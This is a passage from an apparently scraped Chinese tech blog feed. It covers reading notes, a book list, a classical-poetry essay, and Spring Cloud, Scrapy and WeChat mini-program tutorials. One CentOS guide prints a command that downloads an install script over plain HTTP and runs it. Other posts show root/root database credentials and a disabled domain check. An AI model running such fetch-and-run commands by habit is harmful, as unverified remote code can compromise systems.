进化的思维，是读了《生命是什么》和《从一到无穷大》之后的感悟。生命的形成从能量、物质到细胞膜、分工、感觉、学习等一步步进步而成为了复杂的生命体，而地球、太阳系、银河系、宇宙，从小到大，中子、电子、原子核到大爆炸理论，无一不是由小模块慢慢进化形成系统，进而形成复杂的系统。落实到计算机领域，同样也体现了这种进化的规律。最底层是 0 和 1 表示，进而是机器语言、高级语言，我们现在基于高级语言开发的软件系统就是这样而来。在软件系统开发中，也遵循着模块化，松耦合，高内聚的特征。复杂的系统不是一下子就开发出来的，而是在进化中形成。

  • 规范-技术管理效率之道

在野蛮生长阶段，人少，沟通成本低，一切以功能实现为主要任务，往往无规范可言。但当人员多了之后，没有规范，就会产生明显的沟通成本高，流程不清晰、效率低下的情况，这个时候，规范化的软件开发流程，则是提高效率的必要手段。因此从开发工具、开发环境的统一、到软件模块划分、编码规范、版本管理规范，代码审核需要有统一规范。而与产品的沟通，则需要使用项目管理工具（例如禅道）把产品 、开发、测试、项目经理在统一的流程中进行，避免无效沟通和流程混乱，提高开发效率。

3. 明年展望

新的一年有新的期望。首先希望家人平安，健康，快乐。

进一步培养自己对知识的输入，思考然后进行知识沉淀、输出的能力，在输出过程去完善自己的知识、语言、习惯体系，自己提供价值。继续坚持写 blog，形成系统化的知识。进一步学习与应用，在架构、大数据及人工智能方面有更深的理解。持续阅读学习与思考，更清晰地认知这个世界。

]]> 随笔 随笔 2019好书推荐 /2019/12/04/2019-hao-shu-tui-jian/ 1.引言

2019 年即将过去，每年都会有个习惯把回顾一下读过的书，并把觉得比较好的书列成书单。今年也读了不少书，读的书比较杂，大部分是在微信读书上完成，有些书让人受益匪浅，下面是推荐列表，主要分几类，IT 技术类，科普知识类，经管励志类和人文社科类。

2. 推荐书籍列表

2.1 IT 技术类

《深入浅出 Spring Boot 2.x》

  • 作者：杨开振，丰富 java
    互联网开发经验的开发者，编写了多本 java 开发相关书籍
  • 推荐理由：这是一本讲述如何使用 Spring Boot 2.x 进行编程开发的技术书籍，全书围绕 Spring Boot 进行讲解，并且提供编程示例，示例简单易懂，而且作者确实是有相当丰富的开发经验，文章语言流畅，既讲到编程技术也对其中的原理有较好的描述，让读者知其然也知其所以然。其中重点对 Spring MVC 的使用进行了大篇幅的讲解，比较透彻。通过此书，基本对 Spring Boot 的 Web 开发有了整体了解，作为入门级的 Spring Boot 学习书籍，值得一读。

《面向程序员的数据挖掘指南》

  • ==作者：Ron Zacharski[1]==
  • 推荐理由：这是一本开源书籍，用于学习基本的数据挖掘知识，强调实战，采用“边学边做”的方式编写，根据实例使用 python 脚本来学习数据挖掘技术，从而可以对推荐系统，过滤、相似度计算，分类，聚类，贝叶斯分类等知识有一定的了解。
  • 书籍地址：https://dataminingguide.books.yourtion.com/

《企业 IT 架构转型之道：阿里巴巴中台战略思想与架构实战》

  • 作者：钟华（花名：古谦），阿里巴巴中间件首席架构师
  • 推荐理由：这本书从阿里巴巴启动中台战略说起，详细阐述共享服务体系如何给企业的业务发展提供了支持。对于中台战略，作者对抽取通用服务，共享服务，厚中台，瘦前端的思想，实际中遇到的问题及解决方案，进行了详细描述，有图，有技术思想，有案例，对企业的技术架构有比较好借鉴作用，特别是还处于烟囱式开发的 IT 企业。

《Spring Batch 批处理框架》

  • 作者：刘相，普元软件 SOA 主任架构师
  • 推荐理由：Spring Batch 是一个清晰、优雅的批处理框架，系统的中文资料较少，这本书属于少见的一本。书中全面、系统介绍了 Spring Batch 批处理框架，以实例的形式对 Spring Batch 基本组件进行介绍，通过这本书，可以理解 Spring Batch 的设计思想及基本使用。

2.2 科普类

《文明之光》

  • 作者：吴军，计算机科学家，投资人，NLP 及搜索专家
  • 推荐理由：吴军老师的书籍质量都很高，包括《浪潮之巅》《智能时代》《数学之美》《全球科技通史》，都是很值得一读，增长了多见识。文明之光以独特的视角讲述各时代文明，包括历史、政治、科技、艺术。语言通俗易懂，知识丰富有趣，收获良多。

《生命是什么》

  • 作者：王立铭
  • 推荐理由：书中围绕生命是什么为主题，从演化的角度描述生命的起源和发展。从灵魂论开始探索，然后描述能量，物质，自我复制是生命的基础，进而细胞膜，分工，感觉，学习，社交，自我意识，自由意志的演化发展，语言简洁易懂，很好的科普读物。个人觉得，这本书对读者的意义在于，一是知道我们从哪里来，开眼看世界。第二就是懂得用演化发展的眼光看事物。

==作者在一席上有一个演讲《星际远航中的生物学》[2]==

《从一到无穷大》

  • 作者：乔治·伽莫夫
  • 推荐理由：很好的科普书，涵盖了无穷数，时间与空间，微观世界的微粒子，宏观世界的太阳，星系，宇宙，与书名很相符，从一到无穷大。书中涉及的数学，物理，化学，生物知识，相对来讲已经是比较通俗的了。不过惭愧，还是有些地方没有理解，找时间得再读一遍。

《物理大咖李淼作品集》

包含：《三体中的物理学》，《给孩子讲时间简史》，《给孩子讲量子力学》，《给孩子讲宇宙》，《给孩子计相对论》

  • 作者：李淼，中山大学天文与空间科学研究院院长。
  • 推荐理由：李老师真的是深入浅出，书中讲述着物理学家的故事，结合现实的简单实例，把深奥的物理知识讲得通俗易懂。让人扩展知识，加深了对世界的认识！

2.3 经管励志类

《软技能：代码之外生存指南》

  • 作者：John Z. Sonmez；王小刚（译）
  • 推荐理由：这是一本真正从“人”（而非技术也非管理）的角度关注软件开发人员自身发展的书。从揭秘面试的流程到精耕细作出一份杀手级简历，从创建大受欢迎的博客到打造你的个人品牌，从提高自己工作效率到如何与“拖延症”做斗争，甚至包括如何投资不动产，如何关注自己的健康。其中，将自己当作一个企业来思考，给了我很大的触动。

《斜杠青年：如何开启你的多重身份》

  • 作者：Susan Kuang，Linkedin 专栏作者，自媒体人。
  • 推荐理由：不错的一本励志书，书中涵盖了很多主题，包括工作选择，效率，时间管理，积极心理，健康等等。作者主张按自己想要的方式去生活，去工作，而不必受外界影响。当然，前提是自己要有能力。跟《软技能》有异曲同工之妙，都提倡写作，逐渐形成自己的品牌，扩大影响力，吸纳粉丝，慢慢就可以实现自己的价值。

《见识》

  • 作者：吴军，计算机科学家，投资人，NLP 及搜索专家
  • 推荐理由：吴军老师认为，与其他外部资源或者个人因素相比，个人的成就首先取决于“见识”。书中提供一个与众不同的、值得深度思考的看待世界、看待问题的视角。内容是作者在得到的音频课程中的汇总整理，内容丰富，是个人成长，扩展知识面的好书。

《程序员的成长课》

  • 作者：安晓辉，资深开发者,拥有十余年开发与管理经验
  • 推荐理由：作者以过来人的身份，娓娓道来，围绕程序员的成长，从技术方向选择，技术精进，技术管理，转型，跳槽，简历，薪水等方面进行详细描述，同时提供了可行的执行方法。建议程序员都应该读一下。

《学会写作：自我进阶的高效方法》

  • 作者：粥左罗，90 后，知名公众号“粥左罗”创始人，向上生长创始人，三年写作 300 万字。
  • 推荐理由：作者的经验之谈，对写作做了全面分析，从写作目的作用，选题，写标题，结构，素材到传播，变现，语言精辟，结构清晰，学到东西。写作技巧没有捷径，要多写多练，结合作者的建议实践，才能不断进步。

2.4 人文社科类

《变量》

  • 作者：何帆，经济学者，北京大学汇丰商学院教授，兼任熵一资本首席经济学家。
  • 推荐理由：作者以细致的镜头把中国 2018 发生的故事描述的的很有深度。独特的写作风格，理性的经济分析，高超的概括总结能力，都显示何帆老师的功力。大变量，小趋势，希望中国越来越好！

《今日简史》

  • 作者：尤瓦尔•赫拉利，畅销书《人类简史》《未来简史》作者，牛津大学历史学博士，耶路撒冷希伯来大学教授，全球瞩目的新锐历史学家。
  • 推荐理由：“简史三部曲”收官之作《今日简史》推出，将目光聚焦到当下，直面今天关乎我们每个人命运的问题和挑战。人工智能和生物技术正在颠覆原有的社会结构和分配方式，数据成为最重要的资源。面对这些技术，关乎人类命运的种种议题，我们何去何从。写作手法很流畅，想象力丰富但又不失逻辑，看起来让人脑洞大开。

《简读中国史:世界史坐标下的中国》

  • 作者：张宏杰，复旦大学历史学博士，清华大学博士后，现供职于中国人民大学历史学院。著有《曾国藩的正面与侧面》《大明王朝的七张面孔》《中国国民性演变历程》等。
  • 推荐理由：以中国历史为主线，世界历史为比较对比资料，讲述了历史更替的影响因素（社会，文化，地理等等）。也刷新了我不少的历史认知，如大一统的秦朝的利与弊，为何如此短命；如鸦片战争，对中国卫生发展有着如此重要作用。书中用“长时间，远距离，宽视野”的解读方式，全方位呈现中国历史治乱循环背后的内在逻辑与外在动因。

《重说中国近代史》

  • 作者：张鸣：中国人民大学政治学系教授、博士生导师，有多部中国历史著作。
  • 推荐理由：书中把近代史，应该是晚清到五四运动的时期，看此书前，需要对这段历史的事件了解，书中描述的内容并不是对历史事件发生过程的描述，而是这些事件的另一面知识，比如原因，状态，花边。对于知识扩展还是有好处的

参考资料

[1]
Ron Zacharski: http://zacharski.org/

[2]
《星际远航中的生物学》: https://yixi.tv/speech/218

]]> 随笔 随笔 人生三境界 /2019/07/30/ren-sheng-san-jing-jie/ 治学三境界

​ [王国维]在《人间词话》中说：古今之成大事业、大学问者，必经过三种之境界： “昨夜西风凋碧树，独上高楼，望尽天涯路。” 此第一境也。 “ [衣带渐宽终不悔]，为伊消得人憔悴。” 此第二境也。 “ [众里寻他千百度]，[蓦然回首]，那人却在，[灯火阑珊处]。”此第三境也。

​ [王国维]在《[人间词话]》说：“古今之成大事业、大学问者，必经过三种之境界：‘昨夜西风凋碧树。独上高楼，望尽天涯路’。此第一境也。‘[衣带渐宽终不悔]，为伊消得人憔悴。’此第二境也。‘[众里寻他千百度]，蓦然回首，那人却在，灯火阑珊处’。此第三境也。”闲来无事，玩索大学问家之妙语，击节赞叹之余，心忽有所得：治学有三此境界，喝酒与灌水岂不亦有三此境界？试论之。 王国维认为治学第一境界：“昨夜西风凋碧树。独上高楼，望尽天涯路”，这词句出[晏殊]的《[蝶恋花]》，原意是说，“我”上高楼眺望所见的更为[萧飒]的秋景，西风黄叶，山阔水长，案书[何达]？在王国维此句中解成，做学问成大事业者，首先要有执着的追求，登高望远，瞰察路径，明确目标与方向，了解事物的概貌。这自然是借题发挥，以小见大。那如果按[原词]解，这几句是情感堆积、蕴酿期，是对下文“望尽天涯路”一种铺垫。

​ [王国维]认为治学第二境界是说：“衣带渐宽终不悔，为伊消得人憔悴。”这引用的是北宋[柳永]《凤栖梧》又名《蝶恋花》最后两句词，原词是表现作者对爱的艰辛和爱的无悔。若把“伊”字理解为词人所追求的理想和毕生从事的事业，亦无不可。王国维则别有用心，以此两句来比喻成大事业、大学问者，不是轻而易举，随便可得的，必须坚定不移，经过一番辛勤劳动，废寝忘食，孜孜以求，直至人瘦带宽也不后悔。这当然又是王国维的高明之处。

​ 王国维认为治学第三境界是说：“众里寻他千百度，蓦然回首，那人却在，灯火阑珊处。”是引用南宋[辛弃疾]《青玉案·元夕》词中的最后四句。)称此词“自怜幽独，伤心人别有怀抱”。这是借词喻事，与文学赏析已无交涉。[王国维]已先自表明，“吾人可以无劳纠葛”。他以此词最后的四句为“境界”之第三，即最终最高境界。这虽不是辛弃疾的原意，但也可以引出悠悠的远意，做学问、成大事业者，要达到第三境界，必须有专注的精神，反复追寻、研究，下足功夫，自然会豁然贯通，有所发现，有所发明，就能够从[必然王国]进入[自由王国]。能引伸这个方面来，王国维的高明自为必说。

三境界

第一境界

“昨夜西风凋碧树，独上高楼，望尽天涯路。”

（1） 萧瑟的秋风中，游子登高望远，怀念亲人，见不到又音信难通，就如一名学者刚开始在学问时那种对知识的惆怅迷惘的心情跃然纸上。

（2） 作为一个做学问者，首先要高瞻远瞩认清前人所走的路，也就是说，总结和学习前人的经验是做学问的起点。

此句选自——宋·[晏殊]【蝶恋花】槛菊愁烟兰泣露。罗幕轻寒，燕子双飞去。[明月])不谙别离苦，斜光到晓穿[朱户]。 昨夜西风凋碧树。独上高楼，望尽天涯路。欲寄彩笺兼尺素，山长水阔知何处。

第二境界

“衣带渐宽终不悔，为伊消得人憔悴。”

（1）沉溺于热恋中的情人对爱情的执着，人消瘦了，但决不后悔。就如学者在追求知识的过程中所表现出一种认定了目标就呕心沥血孜孜以求的执着精神。

（2）作为一名做学问者，应深思熟虑，就像热恋中的情人那样热切、不惜一切的追求自己的目标。

此句选自——宋·[柳永]【凤栖梧】伫倚危楼风细细。望极春愁，黯黯生天际。草色烟光残照里。无言谁会凭栏意。 拟把疏狂图一醉，[对酒当歌]，强乐还无味。衣带渐宽终不悔，为伊消得人憔悴。

第三境界

“众里寻他千百度，蓦然回首，那人却在灯火阑珊处。”

（1） 没有千百度的上下求索，不会有瞬间的顿悟和理解。

（2） 作为一个做学问者，只有在学习和苦苦钻研的基础上，才能够[功到自然成]，一朝顿悟，发前人所未发之秘，辟前人所未辟之境。

此句选自——宋·[辛弃疾]【青玉案】东风夜放花千树。更吹落、星如雨。[宝马雕车])香满路，凤箫声动，玉壶光转，一夜鱼龙舞。 [蛾儿])雪柳黄金缕。笑语盈盈暗香去。众里寻它千百度。蓦然回首，那人却在，灯火阑珊处。

]]> 名言 名言 感悟 CentOS安装宝塔 /2019/06/24/centos-an-zhuang-bao-ta/ 1.安装可视化面板

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install.sh && sh install.sh

注意：代码没有换行！如出错，尝试在下面复制，或先复制到记事本删除换行再粘贴到终端。
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install.sh && sh install.sh

输入命令后，系统自动下载安装环境，然后输入 y 进行确认。 然后等待约1-5分钟

如无意外，最后会出现如下类似内容

Bt-Panel: http://111.230.15.237:8888
username: *******
password: *******
Warning:
If you cannot access the panel,
release the following port (8888|888|80|443|20|21) in the security group

系统自动生成账号密码，
username 项为账号，
pwssword 为密码。
请保存好你的账号密码。

2.启动面板与管理

  • 启动面板

控制面板支持：

一键配置服务器环境（ LAMP / LNMP ）

一键安全重启

一键创建管理网站、ftp、数据库

一键配置（定期备份、数据导入、伪静态、301、SSL、子目录、反向代理、切换 PHP 版本）

数据库一键导入导出

系统监控（ CPU、内存、磁盘IO、网络IO ）

防火墙端口放行

SSH 开启与关闭及 SSH 端口更改
…

请复制以下命令到终端 ,然后稍等

service bt restart

请复制链接到新窗口打开

  • 添加站点

在控制面板中，点击左侧导航栏的 网站 一项，添加网站。 域名： 填你的ip 123.207.230.231
备注： test
根目录：/www/wwwroot/test
FTP 、 数据库 两项中，账号密码都填 test
点击 提交 即可

]]> 服务器 服务器 宝塔 Java分布式的创建 /2019/04/08/java-fen-bu-shi-de-chuang-jian/ 注册中心的创建

1、建立注册中心(EurekaServer)，需要引入依赖。
Spring Cloud Discovery –> Eureka Server

2、在项目src–>main–>java–>com.XXX.XXXXX–>找到EurekaServerApplication(项目名字+Application)
中的类方法上加@EnableEurekaServer注解。

3、找到项目中的application.properties，在其中加入以下语句：

#端口号设置
server.port=8080
#注册中心服务记录地址
eureka.client.service-url.defaultZone=http://localhost:8080/eureka
#记录注册信息(记名字)
eureka.client.fetch-registry=false
#服务注册到注册中心
eureka.client.register-with-eureka=false#端口号设置
server.port=8080
#注册中心服务记录地址
eureka.client.service-url.defaultZone=http://localhost:8080/eureka
#记录注册信息(记名字)
eureka.client.fetch-registry=false
#服务注册到注册中心
eureka.client.register-with-eureka=false

注册中心创建完毕

生产者的建立

1、建立生产者(producer),需要引入依赖。
Web–> Spring Web
SQL–> JDBC API , MyBatis Framework , MySQL Driver
Spring Cloud Discovery–> Eureka Discovery Client

2、在项目src–>main–>java–>com.XXX.XXXXX–>找到MyproviderApplication(项目名字+Application)
在类方法上加@EnableEurekaClient注解

3、找到项目中的application.properties，在其中加入以下语句：

#设置端口号
server.port=8081
# 数据库连接属性
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.url=jdbc:mysql://localhost:3306/test(数据库名字)?serverTimezone=UTC(时区)
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
# 给实体类起别名
mybatis.type-aliases-package=com.example.demo.bean
# 扫描mapper文件
mybatis.mapper-locations=classpath:mapper/*.xml
#给项目起名字
spring.application.name=myprovider
#注册项目
eureka.client.service-url.defaultZone=http://localhost:8080/eureka

PS：如需一个对象为参数则需要@RequestBody注解，如果是其他数据类型则需要添加@RequestParam(“XXX”)注解，

PS:XXX就是参数的名字

消费者的建立

1、建立消费者(consumer),需要引入依赖。
Web–> Spring Web
Template Engines–> Thymeleaf
Spring Cloud Discovery–> Eureka Discovery Client
Spring Cloud Routing–>OpenFeign

2、在项目src–>main–>java–>com.XXX.XXXXX–>找到MyconsumerApplication(项目名字+Application)
在类方法上加@EnableEurekaClient,@EnableFeignClients这两个注解

3、找到项目中的application.properties，在其中加入以下语句：

#设置端口号
server.port=8082
#给项目起名字
spring.application.name=myconsumer
#注册项目
eureka.client.service-url.defaultZone=http://localhost:8080/eureka

4、在消费者中建立一个文件夹(名字是Feign)在文件夹中建立类(名字为XXXFeign)，
在其中编写远程调用相关配置

@FeignClient("myprovider")
public interface TestFeign {
    @RequestMapping("index")
    public String a(@RequestParam("uname") String uname);
}

5、在Controllet中调用Feign

@Controller
public class UserController {
    @Autowired
    Ufeign ufeign;
    @RequestMapping("ajaxsel")
    @ResponseBody
    public List<User> l(){
        List<User> list=ufeign.a();
        return list;
    }

最后注意:
其中因为会遇到实体类的问题，所以需要创建公共实体类。
步骤为：
1、创建一个Maven项目，在Create from archetpe复选框前勾选上。

2、在下面的列表中找到org.apache.maven.archetypes:maven-archetype-quickstart,选中。然后点击next

3、接下来分别输入类型(groupId)，名字(artifactId),版本号根据自己的需求决定是否改变。点击下一步即可创建公共实体类

4、之后会让你确认信息，点击下一步即可创建公共实体类。

5、在pom.xml中只保留以下信息

<?xml version="1.0" encoding="UTF-8"?>
 
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>bean</groupId>
  <artifactId>module</artifactId>
  <version>1.0-SNAPSHOT</version>
 
</project>

6、在src–>main–>java–>bean创建公用的实体类。

7、删除其中的test文件夹

8、在右边找到Maven，点击展开后，找到项目名下面的Lifecycle展开后，
找到下面的install，双击。当出现以下内容时即创建成功。

[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  1.369 s
[INFO] Finished at: 2019-10-26T16:57:15+08:00
[INFO] ------------------------------------------------------------------------

Process finished with exit code 0
]]> 分布式 Java 分布式 通过Python爬取链家所有房源和小区 /2019/03/17/tong-guo-python-pa-qu-lian-jia-suo-you-fang-yuan-he-xiao-qu/ 通过Python爬取链家所有房源和小区信息

链家房源爬虫，基于scrapy框架，数据存储在MongoDB

由于链家的限制房源列表最多显示1000页，3000条数据，所以这里通过小区信息爬取所有房源。

# -*- coding: utf-8 -*-
import scrapy
from scrapy import Selector
import json
import re

from house_spider.items import LianjiaVillageItem, LianjiaHouseItem

class LianjiaSpider(scrapy.Spider):
    name = 'lianjia'
    allowed_domains = ['cq.lianjia.com']
    start_urls = ['cq.lianjia.com']

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.base_url = 'https://cq.lianjia.com'

    def start_requests(self):
        request_url = 'https://cq.lianjia.com/xiaoqu/'
        yield scrapy.Request(url=request_url, callback=self.parse_district_links)

    def parse_district_links(self, response):
        """提取地区链接"""
        sel = Selector(response)
        links = sel.css("div[data-role='ershoufang'] div:first-child a::attr(href)").extract()
        for link in links:
            url = self.base_url + link
            yield scrapy.Request(url=url, callback=self.parse_bizcircle_links)

    def parse_bizcircle_links(self, response):
        """提取商圈链接"""
        sel = Selector(response)
        links = sel.css("div[data-role='ershoufang'] div:nth-child(2) a::attr(href)").extract()
        for link in links:
            url = self.base_url + link
            yield scrapy.Request(url=url, callback=self.parse_village_list, meta={"ref": url})

    def parse_village_list(self, response):
        """提取小区链接"""
        sel = Selector(response)
        links = sel.css(".listContent .xiaoquListItem .img::attr(href)").extract()
        for link in links:
            yield scrapy.Request(url=link, callback=self.parse_village_detail)

        # page
        page_data = sel.css(".house-lst-page-box::attr(page-data)").extract_first()
        page_data = json.loads(page_data)
        if page_data['curPage'] < page_data['totalPage']:
            url = response.meta["ref"] + 'pg' + str(page_data['curPage'] + 1)
            yield scrapy.Request(url=url, callback=self.parse_village_list, meta=response.meta)

    def parse_village_detail(self, response):
        """提取小区详情"""
        village_url = response.url
        sel = Selector(response)
        zone = sel.css('.xiaoquDetailbreadCrumbs .l-txt a::text').extract()
        latitude = 0
        longitude = 0
        try:
            html = response.body.decode().replace('\r', '')
            local = html[html.find('resblockPosition:'):html.find('resblockName') - 1]
            m = re.search('(\d.*\d),(\d.*\d)', local)
            longitude = m.group(1)
            latitude = m.group(2)
        except Exception:
            pass

        item = LianjiaVillageItem()
        item['id'] = village_url.replace(self.base_url + '/xiaoqu/', '').replace('/', '')
        item['name'] = sel.css('.detailHeader .detailTitle::text').extract_first()
        item['address'] = sel.css('.detailHeader .detailDesc::text').extract_first()
        item['latitude'] = latitude
        item['longitude'] = longitude
        item['zone'] = ','.join(zone)
        item['year'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(1) .xiaoquInfoContent::text').extract_first()
        item['build_type'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(2) .xiaoquInfoContent::text').extract_first()
        item['property_costs'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(3) .xiaoquInfoContent::text').extract_first()
        item['property_company'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(4) .xiaoquInfoContent::text').extract_first()
        item['developers'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(5) .xiaoquInfoContent::text').extract_first()
        item['buildings'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(6) .xiaoquInfoContent::text').extract_first()
        item['total_house'] = sel.css('.xiaoquInfo .xiaoquInfoItem:nth-child(7) .xiaoquInfoContent::text').extract_first()

        print(item['name'])
        yield item

        # 小区房源 https://cq.lianjia.com/ershoufang/c3620038190566370/
        url = self.base_url + "/ershoufang/c" + item['id'] + "/"
        yield scrapy.Request(url=url, callback=self.parse_house_list, meta={"ref": url})

    def parse_house_list(self, response):
        """提取房源链接"""
        sel = Selector(response)
        # 链家有时小区查询不到数据
        total = sel.css('.resultDes .total span::text').extract_first()
        total = int(total)
        if total > 0:
            # 提取房源链接
            links = sel.css(".sellListContent li .info .title a::attr(href)").extract()
            for link in links:
                yield scrapy.Request(url=link, callback=self.parse_house_detail)
            # 链接分页
            page_data = sel.css(".house-lst-page-box::attr(page-data)").extract_first()
            page_data = json.loads(page_data)
            if page_data['curPage'] == 1 and page_data['totalPage'] > 1:
                price = response.url.replace(self.base_url + '/ershoufang/', '')
                for x in range(2, page_data['totalPage'] + 1, 1):
                    url = self.base_url + '/ershoufang/' + 'pg' + str(x) + price
                    yield scrapy.Request(url=url, callback=self.parse_house_list)

    def parse_house_detail(self, response):
        """提取房源信息"""
        sel = Selector(response)

        item = LianjiaHouseItem()
        item['房屋Id'] = response.url.replace(self.base_url + '/ershoufang/', '').replace('.html', '')
        item['标题'] = sel.css('.title-wrapper .title .main::text').extract_first()
        item['售价'] = sel.css('.overview .content .price .total::text').extract_first()
        item['小区'] = sel.css('.overview .content .aroundInfo .communityName a.info::text').extract_first()
        item['小区ID'] = sel.css('.overview .content .aroundInfo .communityName a.info::attr(href)').extract_first().replace('/xiaoqu/', '').replace('/', '')
        item['房屋户型'] = sel.css('#introduction .base .content ul li:nth-child(1)::text').extract_first()
        item['所在楼层'] = sel.css('#introduction .base .content ul li:nth-child(2)::text').extract_first()
        item['建筑面积'] = sel.css('#introduction .base .content ul li:nth-child(3)::text').extract_first()
        item['户型结构'] = sel.css('#introduction .base .content ul li:nth-child(4)::text').extract_first()
        item['套内面积'] = sel.css('#introduction .base .content ul li:nth-child(5)::text').extract_first()
        item['建筑类型'] = sel.css('#introduction .base .content ul li:nth-child(6)::text').extract_first()
        item['房屋朝向'] = sel.css('#introduction .base .content ul li:nth-child(7)::text').extract_first()
        item['建筑结构'] = sel.css('#introduction .base .content ul li:nth-child(8)::text').extract_first()
        item['装修情况'] = sel.css('#introduction .base .content ul li:nth-child(9)::text').extract_first()
        item['梯户比例'] = sel.css('#introduction .base .content ul li:nth-child(10)::text').extract_first()
        item['配备电梯'] = sel.css('#introduction .base .content ul li:nth-child(11)::text').extract_first()
        item['产权年限'] = sel.css('#introduction .base .content ul li:nth-child(12)::text').extract_first()
        item['挂牌时间'] = sel.css('#introduction .transaction .content ul li:nth-child(1) span:nth-child(2)::text').extract_first()
        item['交易权属'] = sel.css('#introduction .transaction .content ul li:nth-child(2) span:nth-child(2)::text').extract_first()
        item['上次交易'] = sel.css('#introduction .transaction .content ul li:nth-child(3) span:nth-child(2)::text').extract_first()
        item['房屋用途'] = sel.css('#introduction .transaction .content ul li:nth-child(4) span:nth-child(2)::text').extract_first()
        item['房屋年限'] = sel.css('#introduction .transaction .content ul li:nth-child(5) span:nth-child(2)::text').extract_first()
        item['产权所属'] = sel.css('#introduction .transaction .content ul li:nth-child(6) span:nth-child(2)::text').extract_first()
        item['抵押信息'] = sel.css('#introduction .transaction .content ul li:nth-child(7) span:nth-child(2)::attr(title)').extract_first()
        item['房本备件'] = sel.css('#introduction .transaction .content ul li:nth-child(8) span:nth-child(2)::text').extract_first()

        yield item


]]> Python爬虫 Python Python爬虫 微信小程序与后端SpringBoot通信 /2019/02/03/wei-xin-xiao-cheng-xu-yu-hou-duan-springboot-tong-xin/ 微信小程序与后端SpringBoot通信

案例概述

微信小程序请求后端SpirngBoot,中间使用Ngrok做内网穿透.

内网穿透Ngrok配置

下载Ngrok

https://ngrok.com/download

注册并配置Ngrok认证

注册完Ngrok之后进入个人主页在Auth页面找到自己的验证码,然后打开Ngrok认证即可

配置端口和协议

我这里的端口是8181,因为我Tomcat的端口是8181\

ngrok http 8181

Ngrok配置完成

配置完成之后Ngrok会为我们提供两个链接,一个是http协议的一个市https协议的.

Ngrok的作用说白了就是将你本地某个端口上运行的服务暴露在了公网上.

这里的穿透指的就是将内网中的服务穿过防火墙.

后端SpringBoot

Controller

接收微信小程序发来的请求,并根据请求做出响应

package le.controll;

import le.domain.Info;
import le.utils.JSONResult;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

/**
* @program: SpringBootIntrodoction
* @description:
* @author: Mr.Han
* @create: 2019-01-26 22:16
**/
@Controller
public class QuickController2 {

    @RequestMapping("/info")
    @ResponseBody
    public JSONResult quick(Info info) {
        System.out.println(info.toString());
        return JSONResult.ok(info);
    }
}

实体类

package le.domain;


import java.io.Serializable;

/**
* @program: SpringBootIntrodoction
* @description: 测试实体类
* @author: Mr.Han
* @create: 2019-02-01 14:13
**/
public class Info implements Serializable {
    private String name;
    private String personName;
    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPersonName() {
        return personName;
    }

    public void setPersonName(String personName) {
        this.personName = personName;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Info{" +
                "name='" + name + '\'' +
                ", personName='" + personName + '\'' +
                ", age=" + age +
                '}';
    }
}

JSON工具类

package chen.utils;

import chen.domain.Info;
import com.fasterxml.jackson.databind.util.JSONPObject;
import org.springframework.boot.configurationprocessor.json.JSONObject;

/**
* @program: SpringBootIntrodoction
* @description: 实体类转换成JSON
* @author: Mr.Han
* @create: 2019-02-01 14:17
**/
public class JSONResult {

    // 响应业务状态
    private Integer status;

    // 响应消息
    private String msg;

    // 响应中的数据
    private Object data;

    private String ok;    // 不使用

    public static JSONResult build(Integer status, String msg, Object data) {
        return new JSONResult(status, msg, data);
    }

    public static JSONResult ok(Object data) {
        return new JSONResult(data);
    }

    public static JSONResult ok() {
        return new JSONResult(null);
    }

    public static JSONResult errorMsg(String msg) {
        return new JSONResult(500, msg, null);
    }

    public static JSONResult errorMap(Object data) {
        return new JSONResult(501, "error", data);
    }

    public static JSONResult errorTokenMsg(String msg) {
        return new JSONResult(502, msg, null);
    }

    public static JSONResult errorException(String msg) {
        return new JSONResult(555, msg, null);
    }

    public JSONResult() {

    }

    public JSONResult(Integer status, String msg, Object data) {
        this.status = status;
        this.msg = msg;
        this.data = data;
    }

    public JSONResult(Object data) {
        this.status = 200;
        this.msg = "OK";
        this.data = data;
    }

    public Boolean isOK() {
        return this.status == 200;
    }

    public Integer getStatus() {
        return status;
    }

    public void setStatus(Integer status) {
        this.status = status;
    }

    public String getMsg() {
        return msg;
    }

    public void setMsg(String msg) {
        this.msg = msg;
    }

    public Object getData() {
        return data;
    }

    public void setData(Object data) {
        this.data = data;
    }

    public String getOk() {
        return ok;
    }

    public void setOk(String ok) {
        this.ok = ok;
    }

}

微信小程序端

视图

<view bindtap="clickMe">点击发送请求</view>

绑定了一个bindtap事件,点击的时候发送请求

JS代码

// pages/requestinterface/requestinterface.js
Page({

  /**
  * 页面的初始数据
  */
  data: {

  },
  clickMe: function() {
    wx.request({
      url: 'ngrok公网接口',
      data: {
        personName: "张三的父亲",
        name: "张三",
        age: 18
      },
      header: {
        'content-type': 'application/json' 
      },
      success(res) {
        console.log(res.data)
      }
    })
  }

})

完整的流程

特别提醒

因为我们使用的是Ngrok做的内网穿透,微信小程序默认识别出Ngrok的接口时非法的.

这时候我们就必须要设置不校验合法域名

]]> SpringBoot SpringBoot 微信小程序 你如何理解用户痛点 /2018/12/28/ni-ru-he-li-jie-yong-hu-tong-dian/ 你如何理解用户痛点

什么是用户“痛点”

写在前面：
本文讲的“痛点”，就是指让目标用户付出某种行动的最大阻碍。

比如在美图秀秀之前，大部分图像处理软件（比如 PS）都专注于提高处理图像的性能，这个时候，让用户使用图像处理软件的最大阻碍是什么呢？

